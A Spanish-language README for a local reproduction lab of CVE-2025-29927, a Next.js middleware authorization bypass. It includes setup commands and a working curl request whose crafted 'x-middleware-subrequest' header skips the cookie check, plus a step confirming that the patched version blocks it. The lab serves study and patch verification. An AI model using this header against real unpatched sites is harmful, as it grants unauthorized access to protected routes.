Laboratorio CVE-2025-29927

Laboratorio de reproducción mínima para CVE-2025-29927 — Bypass de autorización de middleware de Next.js (CVSS 9.1).

Acompañante de: Análisis de N-Day en Medium

Qué es esto

Una aplicación Next.js 15.2.2 (vulnerable) con una ruta /dashboard protegida por cookie. La verificación de autenticación del middleware puede ser evitada enviando un único encabezado HTTP — sin necesidad de credenciales.

Requisitos

• Node.js 18+

Configuración

git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install   # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001

Reproducir el bypass

Paso 1 — Confirmar que el middleware bloquea solicitudes no autenticadas:

curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307

Paso 2 — Bypass del middleware con el encabezado subrequest:

curl -s -o /dev/null -w "%{http_code}" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3001/dashboard
# → 200

Paso 3 — Actualizar a la versión parcheada y confirmar que el bypass está bloqueado:

npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307

Rutas de la aplicación

Versiones afectadas

Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5

Referencias

• NVD — CVE-2025-29927
• Parche de Next.js PR #77201
• Fuente vulnerable — sandbox.ts